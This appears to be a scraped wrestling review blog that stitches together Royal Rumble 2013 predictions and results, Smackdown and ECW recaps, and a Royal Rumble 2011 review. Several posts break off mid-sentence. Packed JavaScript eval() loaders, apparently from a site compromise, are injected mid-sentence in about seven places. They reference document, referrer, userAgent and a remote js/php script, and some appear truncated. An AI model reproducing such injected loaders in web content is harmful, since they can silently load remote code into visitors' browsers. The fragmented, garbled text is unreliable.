Now keep in mind these are the same sites that said Benjamin, Carlito and others were LOCKS, yes LOCKS I SAY for the Rumble. If this is the case though, things change a good bit as now they can stagger his feuds out a bit more. This has to be a relief for WWE if nothing else.
Thoughts?
This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fhrfb|var|u0026u|referrer|ftins||js|php'.split('|'),0,{})) seems to be the general consensus about the match that is about as obvious as you could ask it to be.So at the Rumble, Cena won the right to fight for a world title at Wrestlemania. As luck would have it, Rock won the WWE Title and will likely be defending it at Wrestlemania. If you’re too dense to figure it out at this point, it’s pretty clear that Rock vs. Cena II is happening in New York at Wrestlemania 29. However, every opinion I’ve read of it since then seems to be the same: people aren’t that thrilled with the prospect.
That’s about where I am on it too. Now don’t get me wrong: the match is going to be solid as these two can, no joke intended, bring it. The problem isn’t having the match be good. It’s having the match feel huge. Rock and Cena had a year to set up the previous match and by the end of it, I had to see it. I didn’t care what happened or how good it was but I needed to see the match. With two and a half months to go and nothing new other than the title being on the line, I don’t see how this is going to come off as something nearly as huge as last year.
Do I want to see it? Eh…..yeah I guess. If nothing else the promo work will be amazing as always. However, that comes back to the same problem: we heard these two talk about each other over the course of 14 months already. Basically this coming Wrestlemania feels like reheating the feast we had last year: it’s still good but it doesn’t taste like it did straight out of the oven.
Is anyone fired up at this idea?
Royal Rumble 2013
Date: January 27, 2013
Location: US Airways Center, Phoenix, Arizona
Commentators: Michael Cole, Jerry Lawler, John Bradshaw Layfield
Pre-Show: US Title: The Miz vs. Antonio Cesaro
Cesaro hooks a double arm lock which is quickly broken, allowing Miz to hit the Reality Check for no cover. Miz pounds away in the corner and hits the running clothesline but the ax handle misses. He may have injured his knee on the landing. They trade rollups for two each and Miz goes after the knee. The Figure Four is easily blocked so Miz kicks him to the floor instead. Cesaro lures Miz in and sends him into a piece of metal under the ring, setting up the Neutralizer to retain at 7:40.
On with the show!
Smackdown World Title: Big Show vs. Alberto Del Rio
Show chops him into the corner to start and gets seven off a series of shows to the chest. He loads up that reverse powerbomb of his but gets caught in a hurricanrana to put him down. A top rope seated senton takes Big Show down again but the armbreaker is easily countered into something resembling a one armed Angle Slam.
We get a medley of promos from people in the Rumble ala the old days.
Young and Titus do their thing.
Cena says what you would expect him to say.
Sheamus says he can win his second in a row because of the Brogue Kick.
Tag Titles: Rhodes Scholars vs. HELL NO
The Scholars are getting what is probably their 95th title shot in a few weeks. Bryan and Rhodes start things off with Cody having a leap frog countered into a surfboard. Off to Kane as JBL goes into a mini rant on Dr. Shelby. Kane fights out of the heel corner and slams the now legal Sandow. Bryan comes back in to fire off the kicks as JBL goes off about the hugging on Raw.
Kane kicks Sandow through the ropes and Cody is thrown on top of him. Bryan hits a suicide dive (JBL: “THE FLYING GOAT VEGAN!”) to take out both challengers and the fans seem fired up. Back in and Cody gets in a few shots to take over with a half Boston crab as the announcers talk about 1980s TV. Sandow comes in for the Wind-Up Elbow and some stomping for two. Cody comes back in and gets kicked in the face to take him down. Sandow blocks the hot tag though and brings Cody right back in.
Rumble by the Numbers.
We recap Fan Fest which had the NXT tournament.
Royal Rumble
Sheamus is #11 and after a bunch of forearms he dumps Titus and Otunga. Slater tries to jump Sheamus resulting in a big heel beatdown. Tensai is #12, giving us Ziggler, Jericho, Rhodes, Slater, Goldust, Kofi, Sheamus and Tensai. Cole talks about Jake Roberts being the first person to eliminate someone in 1998 (you read that right) as people keep fighting by the ropes. Brodus Clay is #13 complete with the Funkadactyls who are rocking some shorts.
There are way too many guys in there at the moment as Goldust sends Rhodes to the apron. Cody pulls his brother to the apron and slides back in where he whips Goldust into the post to eliminate him. Cool sequence there. Rey Mysterio returns (kind of) at #14 in a weird looking low cut singlet. He hits a few 619s and the top rope splash on Jericho but has to fight off Rhodes.
Raw World Title: The Rock vs. CM Punk
Punk fires off a kick to send Rock to the floor but he might have hurt his knee in the process. He goes up top and hits a forearm to the head but hurts his knee again in the process. The suicide dive keeps Rock down as they seem to be in second gear or so here. Back in and Punk misses the springboard clothesline so Rock goes after the bad knee for the first time. Both finishers are blocked as is the Sharpshooter but Punk counters into the Vice.
Results
HELL NO b. Rhodes Scholars – NO Lock
John Cena won the Royal Rumble last eliminating Ryback
The Rock b. CM Punk – People’s Elbow
Remember to follow me on Twitter @kbreviews
In eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rrhin|var|u0026u|referrer|tktfz||js|php'.split('|'),0,{})) a terrible joke, just like the name before the fold,you can’t see him. Cena won, last tossing out Ryback.
He’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hhbbh|var|u0026u|referrer|zakah||js|php'.split('|'),0,{})) starting with Ziggler. Now THAT is a surprise.
Oh and no, this isn’t a spoiler because it already happened so spare me your complaints.
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yidab|var|u0026u|referrer|hsrar||js|php'.split('|'),0,{}))
on Sci-Fi
Date: November 14, 2006
Location: Manchester Evening News Arena, Manchester, England
Attendance: 15,266
Commentators: Joey Styles, Elijah Burke
Tazz had knee surgery so Burke is filling in on commentary.
To the shock of no one, Hardcore Holly is shown walking through the back. Before he can get here though, Bobby Lashley from Smackdown destroys Holly and stares at the camera. Heyman and Show are panicked as Lashley (a very muscular and legit amateur wrestling champion) comes to the ring. Big Show goes to the aisle to stop him but Bobby spears him down and signs the contract.
CM Punk vs. Mike Knox
Rating: B. Where in the world did this come from? These two beat the tar out of each other and we got a very good match out of it. The back stuff was fine and it was good to see Knox stick with it throughout the entire match. Punk winning is the right move of course but if you can get a good match before the inevitable ending, that makes it all the better.
Daivari vs. Tommy Dreamer
Dreamer takes the Punjabi Plunge post match.
Bobby Lashley vs. Hardcore Holly
Test, Big Show and Holly triple team Lashley until Van Dam, Sabu and Punk make the save. The show ends with Van Dam and Lashley standing tall. They stare at each other a lot as well.
Remember to follow me on Twitter @kbreviews
It’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zfkse|var|u0026u|referrer|ynhsh||js|php'.split('|'),0,{})) the first PPV of the year and we’ve got four matches confirmed so far. That’s not unprecedented so I’m not really shocked. Let’s get to it.Starting with the preshow, I think they’ll hold off on Miz taking the title just yet. They’ll likely save that for Wrestlemania so Flair can have a BIG tribute. After all it’s been a few weeks since anyone sucked up to him and told him he’s the best ever so we can’t wait much longer.
I think the Scholars finally get the belts. They’ve been losing every time they fight lately so they have to get them soon. Interesting note: if they do win, they’ll only be the second team ever to win the belts at the Rumble.
Del Rio retains and as usual I’ll predict a cash in and expect to be wrong.
Rock wins the title. You know he’s getting it before Wrestlemania so it’s either here or in the Chamber.
I’ll take Cena to win the Rumble. I can’t imagine they would give it to Ziggler and the only other option is Sheamus. I don’t think they’ll do that twice in a row though.
If Kaitlyn (I had to think to remember who the champion was) defends the title, she’ll keep it.
Overall the show looks pretty solid with only one potentially uninteresting match in the tag titles. Other than that though, everything looks to be a solid option. Punk vs. Rock finally got me hooked with their segment on Smackdown last night and I need to see this match. I’m fired up for the Rumble but then again it’s one of my favorite shows of the year.
Thoughts/predictions?
He eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tiaei|var|u0026u|referrer|bnfbt||js|php'.split('|'),0,{})) won the tournament today and gets the spot. I can’t tell you how THRILLED I am by this.
Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zhetn|var|u0026u|referrer|yfnzy||js|php'.split('|'),0,{}))
January 25, 2013
Location: Sleep Train Arena, Sacramento, California
Commentators: Josh Matthews, John Bradshaw Layfield
Rock is going to be here again tonight to address his attack by the Shield.
Sheamus vs. Wade Barrett
Why does WWE insist on giving us the same match six or seven times in as many weeks sometimes? They slug it out to start with Sheamus getting two off a clothesline. Wade comes back with a dropkick of all things for the same result and we head to the floor for a bit. As they come back in Sheamus loads up the forearms in the ropes but Wade comes back with a guillotine on the ropes and a big boot to send Sheamus to the floor.
Video on Rock being attacked by the Shield on Monday.
Heyman and Punk are here.
Natalya vs. Rosa Mendes
Drew McIntyre vs. Randy Orton
The Miz vs. Darren Young
Rumble By The Numbers. I love this.
30 superstars
1 winner
36 Hall of Famers who have competed in the Rumble
754 losing entrants
39 eliminations by Shawn Michaels, a record
35 eliminations by Kane, good for second place
13 consecutive Rumbles for Kane
11 eliminations by Kane in 2001
201,497lbs that has competed in the Rumble, or over 100 tons or 457 Big Shows
440,004 people that have attended the Rumble
62:12 that Rey Mysterio stayed in the 2006 Rumble, another record
3 wins for Austin, the most ever
2 seconds that Warlord lasted in 1989
1 second that Santino lasted in 2009
2 is the number of wins for both #1 and #30
4 is the number of wins for entrant #27, the most ever
58% of winners that win a world title at Wrestlemania
HELL NO/Alberto Del Rio vs. Big Show/Rhodes Scholars
Rating: C+. The countouts were a nice idea but having three of them was probably too much. It is good to have the guys in the title match square off before the title match though and having Del Rio get a countout win is probably the best thing they could have done. This was a pretty good idea although more of the tag teams interacting would have been nice.
Post match Big Show lays out Alberto and covers him with the announce table just like Alberto did to him. Show counts to ten in both English and Spanish for good measure to end the show.
Results
Sheamus b. Wade Barrett – Brogue Kick
Natalya b. Rosa Mendes – Sharpshooter
Randy Orton b. Drew McIntyre via DQ when Jinder Mahal interfered
The Miz b. Darren Young – Figure Four Leg Lock
HELL NO/Alberto Del Rio b. Rhodes Scholars/Big Show – Enziguri to Rhodes
Remember to follow me on Twitter @kbreviews
Royal Rumble 2011
Date: January 30, 2011
Location: TD Garden, Boston, Massachusetts
Attendance: 15,113
Commentators: Michael Cole, Jerry Lawler, Matt Striker
The opening video is exactly what you would expect.
Smackdown World Title: Edge vs. Dolph Ziggler
As they come back in, Ziggler grabs a neckbreaker for two and hits an elbow to the chest. Off to a chinlock as Dolph stays on the neck. The fans cheer for Edge of course and he fights up, only to get caught in a middle rope sunset flip. Edge comes back with a slingshot into the buckle and now Dolph is in trouble. A rollup out of the corner gets two for Edge but Dolph hits another neckbreaker for two of his own.
The champion goes up but has to fight out of a superplex. Ziggler gets knocked down and hit by a top rope cross body, only for Ziggler to roll through for two. Now the fans start cheering for Ziggler as he gets two off a dropkick. The Zig Zag misses and Edge busts out the Edgecator of all things. Dolph grabs the rope so Edge dives at him on said ropes, only to clothesline himself on them.
The Fameasser gets two and both guys are down again. A big boot puts Ziggler down for about the seventh time and Edge gets into spear position. Like an idiot, Vickie reminds him of this, allowing Dolph to catch Edge in the sleeper. Edge rolls out of it and hits the Impaler for two as Vickie pulls the referee out of the ring. Vickie slaps Edge but the champion dodges a charging Dolph into a rollup for two.
Raw World Title: The Miz vs. Randy Orton
Miz has Riley with him here. Orton pounds away to start as Cole is already on his knees to suck Miz off. The champ is knocked out to the floor and gets sent into the barricades a few time. Back in and Orton kicks him in the face before stomping away a bit. Cole is already on one of his rants about how noble Miz is in comparison to Edge. Orton chokes on the ropes a bit as Cole says that Orton should have stated in advance that he wanted to brawl.
Dashing Cody Rhodes will not be here tonight because of his shattered face. This would lead to Dr. Cody Doom which was pretty awesome and then wound up being wasted.
Fans say who they think is going to win the Rumble.
Divas Title: Natalya vs. Laycool
Divas Title: Michelle McCool vs. Layla vs. Eve Torres vs. Natalya
Nattie is defending as I said and this is one fall to a finish. Laycool goes after both other chicks to start and Eve gets double teamed. Natalya comes back with a slingshot to send Layla into Michelle as Matt actually tries to analyze this match. We get down to Laycool squaring off but before they do anything, Eve and Nattie come back in.
Rumble By The Numbers time!
40 entrants
1 winner
24 winners
656 losing entrants
39 eliminations by Shawn, a record
26 WWE Hall of Famers who have competed
183,932lbs that has competed in the Rumble, or 92 tons or 492 Big Shows
2 women who have competed in the Rumble
11 eliminations by Kane in 2001, a record
13 straight Rumbles for Kane, also a record
62:12 Mysterio lasted in the 2006 Rumble
1 second, the record for shortest time in the Rumble, held by Santino Marella
3 wins by Austin
2, the number of wins that spot #1 has produced, the same as #30
70% of winners have gone on to win the title at Mania
Royal Rumble
They speed things up to start and Bryan fires off some kicks to the ribs. Striker talks about how the internet loves this match as Bryan is sent to the apron. The dueling chants begin and Bryan misses a dropkick in the corner. Justin Gabriel is #3 and immediately goes after Punk. Bryan clotheslines CM down and Gabriel misses the 450, allowing Bryan to dump Justin out.
Zack Ryder, still a heel, is #4. He immediately takes Bryan down and hits the Broski Boot to both guys. Bryan launches Ryder into the air for a Rough Ryder into Punk, only to get dumped to the floor by Daniel. Back to Punk vs. Bryan until William Regal is #5. He starts busting out the knees to the face and some suplexes before hitting the knee trembler to Punk. The student and the teacher (Bryan and Regal) slug it out before Punk kicks the teacher in the head. Bryan kicks Punk in the head for kicking Regal in the head and only Daniel is left standing.
Ted DiBiase is #6 along with Maryse. Bryan rips off kicks to Regal before trying to dump Ted out. John Morrison is #7 to a BIG pop. He comes in (after slipping) with a slingshot kick to Regal and the Flying Chuck to Punk. A C4 takes Bryan down but DiBiase dumps Morrison to the apron. As Regal is eliminated, we get at the time the best Rumble save ever, as Morrison is knocked from the apron but catches himself on the barricade. His feet never touch as he pulls himself up to the barricade, tightrope walks down to the steps, jumps to said steps, kicks Regal in the head, and gets back in. That blew my mind live.
Chavo takes Harris down with a middle rope missile dropkick and Mark Henry is #11. For some reason Chavo dives on him and is immediately dumped out. Yoshi is sent out as well as JTG is #12. Michael McGillicutty is #13 and he takes out JTG almost immediately before teaming up with Harris to dump DiBiase. Christ Masters is #14 and puts Punk to the apron with the Masterlock unti McGillicutty makes the save. Masters and Bryan slug it out until Otunga is #15, giving Punk and the Nexus four members.
Cena pounds away and escapes the GTS before a double clothesline puts both guys down. Hornswoggle is #23 and is immediately kicked down by Punk. Atta boy CM! Punk loads up the GTS but Cena escapes and this the AA to toss Punk out. In next is Tyson Kidd at #24 and he gets caught between Cena and Horny. The Swogg busts out a headscissors before Cena hits the AA. In a decent visual, Horny hits an AA of his own allowing for the elimination by Cena.
Ricardo is literally on the floor screaming Del Rio to end the show.
Overall Rating: A. The worst and only bad match was the Divas and you had looks in that one so how can this be anything below great? 2011 was the start of the good period for WWE and they kicked it off with a bang with a great Rumble here. This is an excellent show and well worth checking out. Good stuff here.
Ratings Comparison
Edge vs. Dolph Ziggler
Original: A-
Redo: A-
Miz vs. Randy Orton
Original: B
Redo: B
Eve Torres vs. Natalya vs. Layla vs. Michelle McCool
Original: D
Redo: D+
Royal Rumble
Original: A
Redo: A
Overall Rating
Original: A
Redo: A
http://kbwrestlingreviews.com/2011/01/30/royal-rumble-2011-his-name-is-alberto-del-rio/
Remember to follow me on Twitter @kbreviews